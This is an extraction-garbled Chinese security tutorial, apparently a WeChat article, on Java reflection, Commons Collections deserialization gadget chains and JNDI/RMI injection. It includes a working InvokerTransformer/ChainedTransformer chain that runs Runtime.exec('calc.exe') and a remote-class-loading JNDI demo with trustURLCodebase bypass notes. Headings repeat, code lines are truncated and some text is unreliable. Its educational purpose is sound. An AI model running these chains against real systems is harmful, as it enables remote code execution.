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JAVA基础漏洞是如何⾃我修炼

这是  酒仙桥六号部队  的第  1 3  篇⽂章。

全⽂共计 3 0 9 6个字，预计阅读时⻓ 9分钟。

练⽓期--反射篇

众所周知，⽓是修炼的基础即反射是 j a v a的其中的⼀个⾼级特性。正是因为反射的特性

引出了后续的动态代理，A O P，R M I，E J B等功能及技术，在后续再来说下代理，R M I

等及其漏洞原理吧，在之前先来看看反射所有的原理及漏洞，那么，在修炼初期应该注

意什么问题呢？

俗话说万事开头难 - -什么是反射俗话说万事开头难 - -什么是反射俗话说万事开头难 - -什么是反射俗话说万事开头难 - -什么是反射俗话说万事开头难 - -什么是反射俗话说万事开头难 - -什么是反射俗话说万事开头难 - -什么是反射俗话说万事开头难 - -什么是反射俗话说万事开头难 - -什么是反射俗话说万事开头难 - -什么是反射俗话说万事开头难 - -什么是反射俗话说万事开头难 - -什么是反射俗话说万事开头难 - -什么是反射俗话说万事开头难 - -什么是反射俗话说万事开头难 - -什么是反射

J A V A反射机制是在运⾏状态中，对于任意⼀个类，都能够知道这个类的所有属性和⽅

法；对于任意⼀个对象，都能够调⽤它的任意⽅法和属性；这种动态获取信息以及动态

调⽤对象⽅法的功能称为 j a v a语⾔的反射机制。

在⽇常开发中，经常会遇到访问装载在 J V M中类的信息，包括构造⽅法，成员变量，⽅

法，或者访问⼀个私有变量，⽅法。

修炼进⾏时 - -反射⽅法修炼进⾏时 - -反射⽅法修炼进⾏时 - -反射⽅法修炼进⾏时 - -反射⽅法修炼进⾏时 - -反射⽅法修炼进⾏时 - -反射⽅法修炼进⾏时 - -反射⽅法修炼进⾏时 - -反射⽅法修炼进⾏时 - -反射⽅法修炼进⾏时 - -反射⽅法修炼进⾏时 - -反射⽅法修炼进⾏时 - -反射⽅法修炼进⾏时 - -反射⽅法修炼进⾏时 - -反射⽅法修炼进⾏时 - -反射⽅法

反射⽅法很多只列举部分重要的来说。

获取c l a s s的字节码对象

前⾯说到反射是对运⾏中的类进⾏查询和调⽤，所以⾸先我们需要获取运⾏类的对象，

即字节码对象（可以看看 J V M加载原理）。⽅式有三种来看看。

⽅式⼀：
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C l a s s . f o r N a m e ( "类的字符串名称 " ) ;

⽅式⼆：

简单类名加 . c l a s s来获取其对应的C l a s s对象；

⽅式三：

O b j e c t类中的g e t C l a s s ( )⽅法的。

三种区别主要是调⽤者不同，以及静态和动态区别（ j a v a是依需求加载，对于暂时不⽤

的可以不加载）。

获取构造函数

g e t C o n s t r u c t o r s ( ) / /获取所有公开的构造函数

g e t C o n s t r u c t o r (参数类型 ) / /获取单个公开的构造函数

g e t D e c l a r e d C o n s t r u c t o r s ( ) / /获取所有构造函数

g e t D e c l a r e d C o n s t r u c t o r (参数类型 ) / /获取⼀个所有的构造函数

获取名字

可以反射类名。

g e t N a m e ( ) / /获取全名    例如： c o m . t e s t . D e m o

g e t S i m p l e N a m e ( ) / /获取类名  例如：D e m o

获取⽅法

g e t M e t h o d s ( ) / /获取所有公开的⽅法

获取字段

g e t F i e l d s ( ) / /获取所有的公开字段

g e t F i e l d ( S t r i n g  n a m e ) / /参数可以指定⼀个p u b l i c字段

g e t D e c l a r e d F i e l d s ( ) / /获取所有的字段

g e t D e c l a r e d F i e l d ( S t r i n g  n a m e ) / /获取指定所有类型的字段
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设置访问属性

默认为 f a l s e，设置为 t r u e之后可以访问私有字段。

F i e l d . s e t A c c e s s i b l e ( t r u e ) / /可访问

F i e l d . s e t A c c e s s i b l e ( f a l s e ) / /不可访问

以及M e t h o d类的 i n v o k e⽅法

i n v o k e ( O b j e c t  o b j ,  O b j e c t . . .  a r g s )  / /传递 o b j e c t对象及参数调⽤该对象对应的

⽅法

打怪修炼—实战示例打怪修炼—实战示例打怪修炼—实战示例打怪修炼—实战示例打怪修炼—实战示例打怪修炼—实战示例打怪修炼—实战示例打怪修炼—实战示例打怪修炼—实战示例打怪修炼—实战示例打怪修炼—实战示例打怪修炼—实战示例打怪修炼—实战示例打怪修炼—实战示例打怪修炼—实战示例

来看⼀个简单的反射案例，可以执⾏运⾏计算器命令。

通 过 C l a s s . f o r N a m e 获 取 字 节 码 对 象 ， 调 ⽤ g e t M e t h o d 获 取 到 R u n t i m e 的

g e t R u n t i m e⽅法，⽤ i n v o k e执⾏⽅法，最后同样的执⾏ e x e c⽅法执⾏ c a l c命令。

说到这，⼤家都熟悉，那么具体的反射漏洞有哪些，我们来看看。

反射攻击反射攻击反射攻击反射攻击反射攻击反射攻击反射攻击反射攻击反射攻击反射攻击反射攻击反射攻击反射攻击反射攻击反射攻击

通过反射来突破单例模式

我们知道单例模式的特点就是单例类只能有⼀个实例，但是不好的代码就可以突破单例

限制，⽐如：
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运⾏结果：

私有的构造⽅法，类变量，可以看出代码实现了单例的要求， n e w的时候没有创建对

象，就新建，有的话就返回这个对象，但是通过反射（反序列化也可以突破，这⾥只说

反射）可以直接调⽤p r i v a t e⽅法创建实例。

运⾏结果：

所以我们要在构造⽅法的时候就要判断是不是已经创建过对象，如果有就主动抛出异

常。
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突破瓶颈---通过反射来突破泛型限制

我们知道泛型的特点就是明确规范参数使⽤的类型，但是不好的代码就可以突破单例限

制。

就会抛出异常。

同样的我们可以通过反射：
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结果如下。

这种我们就需要添加⿊名单来禁⽌反射，当然也可以绕过。

利⽤反射链的序列化漏洞

以前我们经常能看⻅这种构造的序列化漏洞的⽂章。

先来看看部分实现代码：

1

2

3

4

5

6

7

8

9

10

11

12

13

Transformer[] transformers = new Transformer[] {

new ConstantTransformer(Runtime.class),

new InvokerTransformer(

"getMethod",

new Class[] {String.class, Class[].class },

new Object[] {"getRuntime", new Class[0] }

),
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下⾯是 I n v o k e r T r a n s f o r m e r类的 t r a n s f o r m⽅法的源码。

战后总结分析：

14

15

16

17
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22
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24
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27

28

29

30

31

32

33

34

35

36

37

new InvokerTransformer(

"invoke",

new Class[] {Object.class,Object[].class },

new Object[] {null, null }

),

new InvokerTransformer(

"exec",

new Class[] {String[].class },

new Object[] { commandstring }

//new Object[] { execArgs }

)

};
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相当于执⾏了：

---

相当于执⾏了：

---

相当于执⾏了 r r . e x e c ( " c a l c " ) ;  / / r r已经是R u n t i m e对象了，⽽不是R u n t i m e类。

C o n s t a n t T r a n s f o r m e r在初始化的时候放⼊⾥⾯的⼀个 f i n a l变量中， t r a n s f o r m (任

意O b j e c t )都会返回那个变量。

利⽤ j d - g u i来看⼀下C h a i n e d T r a n s f o r m e r的源码。

1

2

3

4

Object[] argss=new Object[]{"getRuntime",null};

Method mm=(Method)Runtime.class.getClass().getMethod("getMethod", new Cla

{String.class,Class[].class}).invoke(Runtime.class, argss);

1 Method mm=Runtime.class.getMethod("getRuntime", null);

1

2

Runtime rr=(Runtime) mm.getClass().getMethod("invoke", new Class[]

{Object.class,Object[].class}).invoke(mm,new Object[] {null,null} );

1 mm.invoke();

1 rr.getClass().getMethod("exec", new Class[] {String.class}).invoke(rr, "c
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那么就可以利⽤这⼀点，进⾏反射，反射代码如下：

1

2
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17

18

Transformer[] transformer=new Transformer[]{

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[]

{String.class,Class[].class},new Object[]{"getRuntime",null}),

new InvokerTransformer("invoke", new Class[]

{Object.class,Object[].class}, new Object[] {null,null}),

new InvokerTransformer("exec", new Class[] {String.class}, new

Object[] {"calc.exe"})

};

ChainedTransformer chainedTransformer=new ChainedTransformer(transformer

chainedTransformer.transform(Object.class);
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事实上，前⾯说了C o n s t a n t T r a n s f o r m e r的特点，所有最后执⾏的O b j e c t . c l a s s可

以为任何O b j e c t，⽐如n u l l，n e w  O b j e c t ( )。

这⾥进⾏调⽤了 t r a n s f o r m⽅法，如何才能不通过调⽤ t r a n s f o r m⽅法执⾏反射链呢？

我们就要找到实现本身实现 t r a n f o r m的⽅法。

经过查找发现：

A b s t r a c t I n p u t C h e c k e d M a p D e c o r a t o r类下：

T r a n s f o r m e d M a p类下：

所以我们要控制 v a l u e T r a n s f o r m e r的值为C h a i n T r a n s f o r m e r对象，找到这个值的赋

值点。
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所以我们要实现这个链环，就要满⾜基本条件，先

⾦丹期--反序列化篇

J a v a  的序列化是把   J a v a  的对象转换为 j v m可以识别的字节序列的过程，⽅便于存在

⽂件， j v m内存，⽹络的传输等。

常⻅的O b j e c t O u t p u t S t r e a m类的  w r i t e O b j e c t ( )  ⽅法可以实现序列化的功能。⽽反

序列化是指把字节序列重新恢复成  J a v a  对象，反序列化⽤O b j e c t I n p u t S t r e a m  类的  

r e a d O b j e c t ( )  ⽅法。

1

2

3

4

5
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15

16

17

Map mp=new HashMap();

mp.put("ok", "notok"); //为什么赋值是因为要⽤到setValue

//这⾥decorate是静态⽅法，直接使⽤

Map dd=TransformedMap.decorate(mp, null, chainedTransformer);

//⽤过Entry来获取键值对，将Map通过entry放⼊Set集合，然后⽤迭代器迭代

Map.Entry entry=(Entry) dd.entrySet().iterator().next();

//更改其中的值，达到⽬标

entry.setValue("ok");

//这⾥绕过⿊名单，利⽤已知类的反射链，获取反射的⽅法，最后反射可以利⽤序列化达到⽬的。
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知⼰知彼之什么是序列化，反序列化知⼰知彼之什么是序列化，反序列化知⼰知彼之什么是序列化，反序列化知⼰知彼之什么是序列化，反序列化知⼰知彼之什么是序列化，反序列化知⼰知彼之什么是序列化，反序列化知⼰知彼之什么是序列化，反序列化知⼰知彼之什么是序列化，反序列化知⼰知彼之什么是序列化，反序列化知⼰知彼之什么是序列化，反序列化知⼰知彼之什么是序列化，反序列化知⼰知彼之什么是序列化，反序列化知⼰知彼之什么是序列化，反序列化知⼰知彼之什么是序列化，反序列化知⼰知彼之什么是序列化，反序列化

结果如下 :

这就是序列化和反序列化的过程。

⾦丹实战 - -反序列化漏洞示例⾦丹实战 - -反序列化漏洞示例⾦丹实战 - -反序列化漏洞示例⾦丹实战 - -反序列化漏洞示例⾦丹实战 - -反序列化漏洞示例⾦丹实战 - -反序列化漏洞示例⾦丹实战 - -反序列化漏洞示例⾦丹实战 - -反序列化漏洞示例⾦丹实战 - -反序列化漏洞示例⾦丹实战 - -反序列化漏洞示例⾦丹实战 - -反序列化漏洞示例⾦丹实战 - -反序列化漏洞示例⾦丹实战 - -反序列化漏洞示例⾦丹实战 - -反序列化漏洞示例⾦丹实战 - -反序列化漏洞示例
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实战结果

很显然在实现⾃⼰的 r e a d O b j e c t⽅法，反序列化后 r e a d O b j e c t正好被利⽤，触发恶意

代码。反序列化利⽤的⽅式很多。

JND I注⼊JND I注⼊JND I注⼊JND I注⼊JND I注⼊JND I注⼊JND I注⼊JND I注⼊JND I注⼊JND I注⼊JND I注⼊JND I注⼊JND I注⼊JND I注⼊JND I注⼊

已有多位前辈修炼⾄此境界，吾将在此吸取前⼈经验，不便在此过多停留。

J N D I漏洞原理：在 l o o k u p参数可控的情况下，我们传⼊R e f e r e n c e类型及其⼦类的对

象，当远程调⽤类的时候默认⾸先会在 r m i的服务器中的 c l a s s p a t h中去查找，如果不

存在对应的 c l a s s，就会去提供的u r l地址去加载类。如果都加载不到的话就会失败。

元婴期实战演练！！！

J N D I这⾥我们先搭建⼀个R e g i s t r y

S e r v e r :
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R e f e r e n c e中写好⾃⼰的要执⾏ p a y l o a d的 c l a s s对象名称，以及对应开启的 w e b服

务，然后绑定在 r e g i s t r y中。

E x e c T e s t :

这⾥写⼊⾃⼰p a y l o a d，我⽤的静态块，⽅便执⾏。

⽤ j a v a c  - s o u r c e  1 . 5  - t a r g e t  1 . 5  E x e c T e s t . j a v a 编 译 成 1 . 5 j d k 版 本 ⽀ 持 的

E x e c T e s t . c l a s s字节码⽂件，有⼀些警告信息提示 1 . 5版本在未来版本被移除，忽略

掉。

为了保证是真的成功，要把对应下的 b i n / E x e c T e s t . c l a s s⽂件给删除掉，前⾯说了，

J N D I会先加载本地的 c l a s s⽂件，所以需要先删除对应的 c l a s s⽂件，确保是真的远程

加载。

我这⾥把编译的⽂件放⼊D盘，开启W e b服务。
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C l i e n t：

启动好S e r v e r，运⾏C l i e n t，可以看⻅如下：

远程加载E x e c T e s t . c l a s s⽂；

成功执⾏命令。

但是看⻅要求必须是 1 . 6以下的版本，后⾯的版本都对其进⾏限制，有限制就有绕过，对

应的，默认不允许从远程的C o d e b a s e加载R e f e r e n c e⼯⼚类，就可以添加如下代码，

将

c o m . s u n . j n d i . r m i . o b j e c t . t r u s t U R L C o d e b a s e ; c o m . s u n . j n d i . c o s n a m i n g . o b j e

c t . t r u s t U R L C o d e b a s e两个属性值设置为 t r u e。



2020/7/27 JAVA基础漏洞是如何⾃我修炼

https://mp.weixin.qq.com/s/OMXrFc7uUN8wGv6yHno3Lg 16/16

还有 L D A P  +  J N D I请求 L D A P地址来突破限制，利⽤ L D A P反序列化执⾏本地G a d g e t

来绕过等。

⾦丹期修炼时 - -序列化这⾥， j a v a以 r m i（ j a v a以 r p c为基础的 j a v a技术）为根基来衍

⽣更多，⽐如熟悉的E J B，为了使⽤其他语⾔，使⽤W e b服务；实现与平台⽆关，⼜使

⽤了S O A P协议。⽽W e b l o g i c在R M I上的实现使⽤了 T 3协议等等。所以了解R M I，了

解 j a v a基础漏洞的⾃我修炼，只有知⼰知彼，才能百战百胜。

修炼永⽆⽌尽，万物皆是如此，需屏⽓凝神⽅能⽐其更为强⼤，以⾄于交⼿时不落于下

⻛。


